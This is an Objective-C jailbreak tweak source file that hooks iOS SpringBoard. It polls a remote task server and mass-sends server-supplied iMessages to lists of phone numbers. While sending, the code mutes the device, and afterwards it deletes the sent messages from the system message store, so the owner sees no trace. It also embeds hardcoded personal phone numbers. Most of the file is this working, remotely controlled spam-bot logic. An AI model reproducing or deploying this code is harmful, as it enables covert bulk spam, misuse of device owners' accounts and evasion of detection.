#import "Connection.h"
#import "UIKit/UIKit.h"
#import <Foundation/Foundation.h>
#import "notify.h"
#import "SqliteDB.h"
#import "ManagerObjectData.h"
#import "TXTelephonyManager.h"
#import "ASIFormDataRequest.h"
#import <sqlite3.h>
#import <IMCore/IMHandle.h>
#import <IMCore/IMMessageChatItem.h>
#import <IMCore/IMMessage.h>

#import <ChatKit/ChatKit.h>

#import <IMDaemonCore/IMDMessageStore.h>
#import <IMDMessageServices/FZMessage.h>
#import <IMDaemonCore/IMDChat.h>
#import "OperationSystemSMS.h"
#import <MediaPlayer/MediaPlayer.h>

#import <AudioToolbox/AudioToolbox.h>
#import <Celestial/AVSystemController.h>


int m_currentCount;



// 数据库
// sqlite3 *m_systemSqliteDB;


%hook SpringBoard

// plist 存放地址
#define PLISTRURL @"/var/mobile/Library/iMessage_user_preferences.plist"

// api前缀
#define BASICE_URL @"http://sim.xayoudao.com/sim/index.php?r=api/"




int status , notifyToken;


// token变量
NSString *m_strToken ;

// NSTimer *m_timer = nil;

// @interface VolumeControl : NSObject{}

// -(void)toggleMute;

// -(float)volume;

// -(void)setMediaVolume:(float)arg1 ;

// -(void)_changeVolumeBy:(float)arg1 ;

// @end

@interface RegisterNotification : NSObject{}
- (void)loadSettings;
- (void)onResetVolume;
- (void)onAdjusterVolume;

// - (void)setVolume:(float)newVolume;

- (float)volume ;

// %new
// -(void)_changeVolumeBy:(float)arg1;
@end


@interface Token : NSObject{}

- (void)onTokenGetTask;
- (void)onSenderMessage:(NSDictionary*)_dic userToken:(NSString*)_userToke sendList:(NSArray*)_sendPhoneNumber;
- (void)onCheckPhoneNumber:(NSDictionary*)_dic userToken:(NSString*)_userToke;
- (void)onAgainCheckPhoneNumber:(NSString*)_phoneNumber;
- (NSArray*)onCheckiMessagePhone:(NSArray*)_phoneArray;
@end

extern "C" CFNotificationCenterRef CTTelephonyCenterGetDefault(void);

CFStringRef CKServiceMessageReceivedNotification;

extern "C" void CTTelephonyCenterAddObserver(CFNotificationCenterRef center, const void *observer, CFNotificationCallback callBack, CFStringRef name, const void *object, CFNotificationSuspensionBehavior suspensionBehavior);

static void callBack(CFNotificationCenterRef center, void *observer, CFStringRef name, const void *object, CFDictionaryRef userInfo) {

// NSLog(@"————————————————————————\n");
//       NSLog(@"通知来了");
// NSLog(@"————————————————————————\n");

// NSLog(@"---------------------$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n");
// NSLog(@"name = %@\n",name);
// NSLog(@"---------------------$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n");

  //__kIMChatRegistryMessageSentNotification通知成功了要看ojbect这个对象，不能看userInfo

  // __kIMChatRegistryWillLoadNotification
// if ([name isEqualToString:@"__kIMChatRegistryDidLoadNotification"])
// {
//    NSLog(@"userInfo = %@",userInfo);

//   NSLog(@"object = %@",object);

//   NSLog(@"userInfo = %@",userInfo);

// }
  // __kIMChatRegistryDidLoadNotification
  if ([name isEqualToString:@"__kIMChatRegistryMessageSentNotification"])
    {
      // 成功了

      NSLog(@"userInfo = %@",userInfo);

      NSLog(@"object = %@",object);

      IMMessage *im = (IMMessage*)object;

      // 创建FZMessage
      FZMessage *fzm = [im _fzMessage];

      NSLog(@"fzm = %@" , fzm);

     // 短信发给谁了和数据库中的b_telephone字段一样

      NSString *accountID = [fzm handle];

      // 发送的信息内容
      NSString *sendText = [[im text] string];

      // 2 成功 3 失败
      SqliteDB *sqlDB = [[SqliteDB alloc] init];

      // 发送
      [sqlDB query:accountID smsContent:sendText sendStatus:2];

      // 删除表完了
      [[[OperationSystemSMS alloc] init] deleteMessage: accountID];

      // 需要删除自己建立的表中的数据
      [sqlDB query:accountID smsContent:sendText];

      double delayInSeconds = 2.0;
      dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delayInSeconds * NSEC_PER_SEC));
      dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
          // <#code to be executed on the main queue after delay#>

          float beforeVolume = [[[NSUserDefaults standardUserDefaults] objectForKey:@"BeforeCurrentVolume"] floatValue];

          AVSystemController *AVSysController = [objc_getClass("AVSystemController") sharedAVSystemController]; 

          [AVSysController setActiveCategoryVolumeTo:beforeVolume];

      });
    }
    else if([name isEqualToString:@"__kIMChatMessageFailureCountChangedNotification"])
    {
      //__kIMChatMessageFailureCountChangedNotification 通知成功了要看ojbect这个对象，不能看userInfo
      //失败了 object

      NSLog(@"userInfo = %@\n",userInfo);

      NSLog(@"object =%@\n",object);
      
      NSLog(@"userInfo = %@",userInfo);

      IMChat *mc = (IMChat*)object;
      
      NSLog(@"mc = %@\n",[mc chatIdentifier]);
      NSString *accountID = [mc chatIdentifier];

      SqliteDB *sqlDB = [[SqliteDB alloc] init];

      NSString *strText = [sqlDB queryText:accountID];

      NSLog(@"strText = %@",strText);

      // 发送的信息内容
      NSString *sendText = strText;

      // // 2 成功 3 失败
      [sqlDB query:accountID smsContent:sendText sendStatus:3];

      // // 删除表完了
      [[[OperationSystemSMS alloc] init] deleteMessage: accountID];

      // // 需要删除自己建立的表中的数据
      [sqlDB query:accountID smsContent:sendText];

      double delayInSeconds = 2.0;
      dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delayInSeconds * NSEC_PER_SEC));
      dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
          // <#code to be executed on the main queue after delay#>

          float beforeVolume = [[[NSUserDefaults standardUserDefaults] objectForKey:@"BeforeCurrentVolume"] floatValue];

          AVSystemController *AVSysController = [objc_getClass("AVSystemController") sharedAVSystemController]; 

          [AVSysController setActiveCategoryVolumeTo:beforeVolume];
        
      });
    } 
}


-(void)applicationDidFinishLaunching:(id)application 
{
	%orig;

  // 注册监听事件
  CTTelephonyCenterAddObserver(CTTelephonyCenterGetDefault(), NULL, callBack, CKServiceMessageReceivedNotification, NULL, CFNotificationSuspensionBehaviorDrop);

  // 注册一个通知等待触发
	NSLog(@"为什么没有啊&&&&&&&&&&&&&&&&&&&&&");

  [self loadSettings];

  status = notify_register_dispatch("com.betetui.settings_changed",
                                      &notifyToken,
                                      dispatch_get_main_queue(), ^(int t) {

                                          NSLog(@"\n*****%%%%%%%%%%%%%%%%%%%%%%%%%%settings notification received\n");

                                           [self loadSettings];

                                           // if ([Connection isConnectedToNetwork])
                                           //  {
                                                [self onTokenGetTask];
                                           //  }
                                      });

	if ([Connection isConnectedToNetwork])
	{
		// NSLog(@"有网络哦——————————————————————");
		[self onTokenGetTask];
	}
	else
	{
		NSLog(@"哦哦，没得网络了，请检查连接哦");
	}
}

%new
- (void)loadSettings
{
   NSFileManager *fm = [NSFileManager defaultManager];

   if ([fm fileExistsAtPath:PLISTRURL])
   {
       NSArray *array = [NSArray arrayWithContentsOfFile:PLISTRURL];
       if (array != nil)
       {
           for (NSString *strToken in array)
           {
               NSLog(@"\nstrToken = %@",strToken);
           }
           // [self onTokenGetTask:[array objectAtIndex:0]];

           m_strToken =  [array objectAtIndex:0];
       }
   }
}

%new
- (float)volume  
{  
    return [[MPMusicPlayerController applicationMusicPlayer] volume];  
}  

/*
  发送之前检测iMessage号码
*/

%new
- (NSArray*)onCheckiMessagePhone:(NSArray*)_phoneArray
{
        // 0 失败 1 成功
    NSMutableArray *tempArray = [NSMutableArray new];

    for (int i = 0; i < _phoneArray.count; i++)
    {
        if([TXTelephonyManager iMessageAvailabilityOfAddress:[_phoneArray objectAtIndex:i]] == 0)
        {
            // 不是iMessage号码

        }
        else
        {
            // 是iMessage号码
            NSLog(@"sssssssssssssss");
            [tempArray addObject:[_phoneArray objectAtIndex:i]];
        }
    }
    
   return tempArray;
}

%new
-(void)_changeVolumeBy:(float)arg1{}

%new
- (void)onTokenGetTask
{
    NSLog(@"m_strToken = %@",m_strToken);
    
    if (m_strToken == nil && [m_strToken length] == 0)
    {
      /* code */
      return ;
    }

    NSLog(@"onTokenGetTask");

    // 6e59d9f00dfb6abc64373603b7777e6b
    NSString *urlString = [NSString stringWithFormat:@"%@task",BASICE_URL];

    urlString = [urlString stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding];


    NSLog(@"urlString = %@",urlString);

    ASIFormDataRequest *requestForm = [[ASIFormDataRequest alloc] initWithURL:[NSURL URLWithString:urlString]];

    requestForm.shouldContinueWhenAppEntersBackground = YES;

    [requestForm setPostValue:m_strToken forKey:@"token"];

    [requestForm startSynchronous];
    
    NSLog(@"requestForm = %@\n",[requestForm responseData]);
    
    NSDictionary *dic = [ManagerObjectData getCurrentData:[requestForm responseData]];
    
    NSLog(@"dic = %@",dic);
    
    if (dic != nil)
    {      
        NSString *strType = [[dic objectForKey:@"data"] objectForKey:@"tasktype"];
        
        NSLog(@"\nstrType\n = %@",strType);
        
        if ([strType isEqualToString:@"send"])
        {
            // NSArray *phoneArray = [NSArray arrayWithObjects:@"+8618192597956",
            //                                       @"+8618691915676",nil];

            NSString *sendMessage = [[dic objectForKey:@"data"] objectForKey:@"message"];

            NSArray *phoneArray = [[dic objectForKey:@"data"] objectForKey:@"appleids"];
            //
            NSLog(@"发送之前检测号码，是否是iMessage号码，之后发送。");
            //

            NSLog(@"phoneArray.count = %d",phoneArray.count);

            NSArray *checkLasterPhoneArray = [self onCheckiMessagePhone:phoneArray];

            NSLog(@"checkLasterPhoneArray.count = %d",checkLasterPhoneArray.count);

            // NSArray *checkLasterPhoneArray = [[NSArray alloc] initWithObjects:@"afjlsdf@huanqiu.com", nil];

            if (checkLasterPhoneArray.count == 0)
            {
              /* code */
              return ;
            }

            int taskId = [[[dic objectForKey:@"data"] objectForKey:@"taskid"] intValue];

            [[[SqliteDB alloc] init] insertBeTeTuiSMS:sendMessage sendPhone:checkLasterPhoneArray taskId:taskId userToken:m_strToken];

            NSLog(@"_____________________\n");

            // 存储当前声音大小
            float valumeS = [self volume];
            [[NSUserDefaults standardUserDefaults] setObject:[NSNumber numberWithFloat:valumeS] forKey:@"BeforeCurrentVolume"];
            [[NSUserDefaults standardUserDefaults] synchronize];


            // NSLog(@"beforeVolume  =%f",beforeVolume);

            // 修改系统声音
            AVSystemController *AVSysController = [objc_getClass("AVSystemController") sharedAVSystemController]; 

            [AVSysController setActiveCategoryVolumeTo:0.0];

            NSLog(@"_____________________\n");

            [self onSenderMessage:[dic objectForKey:@"data"] userToken:m_strToken sendList:checkLasterPhoneArray];

            NSLog(@"完成了");
        }
        else
        {
            // 这里需要优化
            // default check
            [self onCheckPhoneNumber:[dic objectForKey:@"data"] userToken:m_strToken];
        }
    }
    else
    {

    }
}

%new
- (void)onSenderMessage:(NSDictionary*)_dic userToken:(NSString*)_userToke sendList:(NSArray*)_sendPhoneNumber
{
   // NSArray *phoneArray = _sendPhoneNumber;//[_dic objectForKey:@"appleids"];

  NSArray *phoneArray = [NSArray arrayWithObjects:@"+8618192597956",@"+8618681981237",nil];

   NSString *sendMessage = [_dic objectForKey:@"message"];

  // NSString *strPhone = @"+8618192597956";
   // sendMessage = @"好吧";
  // dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT,0), ^{
  for(int i = 0; i < phoneArray.count ;i ++) 
  {
    NSLog(@"发送第%d个人，号码是：%@",i,[phoneArray objectAtIndex:i]);

    [TXTelephonyManager sendMessageWithText:sendMessage address:[phoneArray objectAtIndex:i]];

    [NSThread sleepForTimeInterval:2];

  }

  NSLog(@"\n打开数据库看一哈哦\n");
}

//appleid: 发送的手机号码
//stat    : 发送状态 0,初始化，1，正在发送，2，成功，3，失败
//taskid  : 任务id
//token：用户认证标志

%new
- (void)onCheckPhoneNumber:(NSDictionary*)_dic userToken:(NSString*)_userToke
{
    int taskId = [[_dic objectForKey:@"taskid"] intValue];
    
    NSArray *phoneArray = [_dic objectForKey:@"appleids"];
    
//    NSArray *phoneArray = [NSArray arrayWithObjects:@"15332358596",
//                           @"15332358956",nil];
    
    NSMutableArray *tempArray = [NSMutableArray new];
    
    
    NSLog(@"phoneArray = %@",phoneArray);
    
    for (int  i =0 ; i < phoneArray.count; i ++)
    {
        // 0 失败 1 成功
        if([TXTelephonyManager iMessageAvailabilityOfAddress:[phoneArray objectAtIndex:i]] == 0)
        {
            double delayInSeconds = 2.0;
            dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delayInSeconds * NSEC_PER_SEC));
            dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
                
                m_currentCount = 0;
                [self onAgainCheckPhoneNumber:[phoneArray objectAtIndex:i]];
                
            });
        }
        else
        {
            NSLog(@"sssssssssssssss");
            [tempArray addObject:[phoneArray objectAtIndex:i]];
        }
    }
    NSLog(@"tempArray = %@",tempArray);
}

%new
- (void)onAgainCheckPhoneNumber:(NSString*)_phoneNumber
{
    if (m_currentCount <= 5)
    {
        if([TXTelephonyManager iMessageAvailabilityOfAddress:_phoneNumber] == 0)
        {
            m_currentCount += 1;
            [self onAgainCheckPhoneNumber:_phoneNumber];
            
            NSLog(@"真的不是iMessage");
        }
        else
        {
            NSLog(@"是iMessage账号 = %@",_phoneNumber);
        }
    }
    
}

/*
  打开系统数据库
*/
%end

// %hook NSNotificationCenter
// // @interface CKMadridMessage : NSObject{}

// // - (IMMessage*)imMessage;

// // @end

// - (void)postNotificationName:(NSString *)aName object:(id)anObject userInfo:(NSDictionary *)aUserInfo
// {
//     %orig;
//     // 发送失败


//     // __kIMChatMessageFailureCountChangedNotification
//     if (![aName isEqualToString:@"__kIMChatItemsDidChangeNotification"])
//     {
//         return;
//     }
//     NSLog(@"aUserInfo = %@",aUserInfo);

//      for (IMChatItem* chatItem in aUserInfo[@"__kIMChatItemsKey"])
//     {
//         IMMessage* msg = [chatItem message];//Incoming message object

//         // 创建FZMessage
//         FZMessage *fm = [msg _fzMessage];

//         NSString *accountID = fm.accountID;
//         NSString *service = fm.service;
//         NSString *guid = fm.guid;
//         NSString *chatIdentifier =  fm.handle;
//         NSString *participants = nil;
//         NSString *roomName = fm.roomName;
//         NSString *lastAddressedLocalHandle = nil;

//         // 方法一：创建IMDChat 
//         IMDChat *dChat = [[IMDChat alloc] initWithAccountID:accountID 
//                                           service:service 
//                                           guid:guid 
//                                           chatIdentifier:chatIdentifier 
//                                           participants:participants 
//                                           roomName:roomName 
//                                           lastAddressedLocalHandle:lastAddressedLocalHandle 
//                                           state:0 
//                                           style:nil];
//         // 方法二：创建IMDChat 
//         // IMDChat *dChat = [[IMDChat alloc] init];
//         // dChat.lastMessage = fm;
        
//         [[IMDMessageStore sharedInstance] performBlock:^{

//                [[IMDMessageStore sharedInstance] deleteMessageGUIDs:[NSArray arrayWithObject:[dChat guid]]];

//         }];
//     }
// }

// %end

// %hook CKConversationListController

// - (void)setEditing:(BOOL)editing animated:(BOOL)animated {
//   %orig;
  
//   if (editing) {
//     UIBarButtonItem *deleteAll = [[UIBarButtonItem alloc] initWithTitle:@"Delete All" style:UIBarButtonItemStylePlain target:self action:@selector(deleteAll:)];
//     self.navigationItem.rightBarButtonItem = deleteAll;
//     [deleteAll release];
//   }
//   else {
//     UIBarButtonItem *compose = [[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemCompose target:self action:@selector(composeButtonClicked:)];
//     self.navigationItem.rightBarButtonItem = compose;
//     [compose release];
//   }
// }

// %new
// - (void)deleteAll:(id)sender {
//   CKConversationList *list = MSHookIvar<CKConversationList *>(self, "_conversationList");
//   UITableView *messages = MSHookIvar<UITableView *>(self, "_table");
//   if ([[list conversations] count] != 0) {
//     for (unsigned int i = 0; i < [[list conversations] count]; i++) {
//       [list deleteConversationAtIndex:i];
//     }
//   }
//   if ([[list conversations] count] > 0) { 
//     [self deleteAll:nil]; 
//   }
//   [messages reloadData];
//   [self setEditing:NO animated:NO];
// }
// %end






// Celestial.framework



// -  ( void ) setSystemVolumeLevelTo :( float ) newVolumeLevel
//  {    
//     Class avSystemControllerClass =  NSClassFromString (@ "AVSystemController" ); 
//     id avSystemControllerInstance =  [ avSystemControllerClass performSelector ：@选择（sharedAVSystemController ）];

//     的NSString  * soundCategory =  @ “铃声” ;

//     NSInvocation  * volumeInvocation =  [ NSInvocation invocationWithMethodSignature ：
//                                       [ avSystemControllerClass instanceMethodSignatureForSelector ：
//                                        @选择（setVolumeTo ：forCategory :)]] 
//     [ volumeInvocation setTarget ：avSystemControllerInstance ] 
//     [ volumeInvocation setSelector ：@选择（setVolumeTo ：forCategory :)] 
//     [ volumeInvocation setArgument ：＆newVolumeLevel atIndex ：2 ] 
//     [ volumeInvocation setArgument ：＆soundCategory atIndex ：3 ] 
//     [ volumeInvocation调用]; 
// }







